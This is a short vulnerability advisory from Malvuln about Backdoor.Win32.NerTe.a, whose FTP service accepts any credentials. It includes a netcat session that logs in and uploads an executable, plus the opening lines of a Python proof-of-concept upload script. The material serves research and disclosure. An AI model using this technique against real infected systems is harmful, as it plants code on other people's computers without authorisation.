Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47.txt
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 80 and drops an executable under Windows dir. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2021-0285
Dropped files: TaskMonitors.exe
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
331 Password required for mal.
230 User mal logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,127,195,82).
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
print("Backdoor.Win32.NerTe.a / Authentication Bypass RCE")
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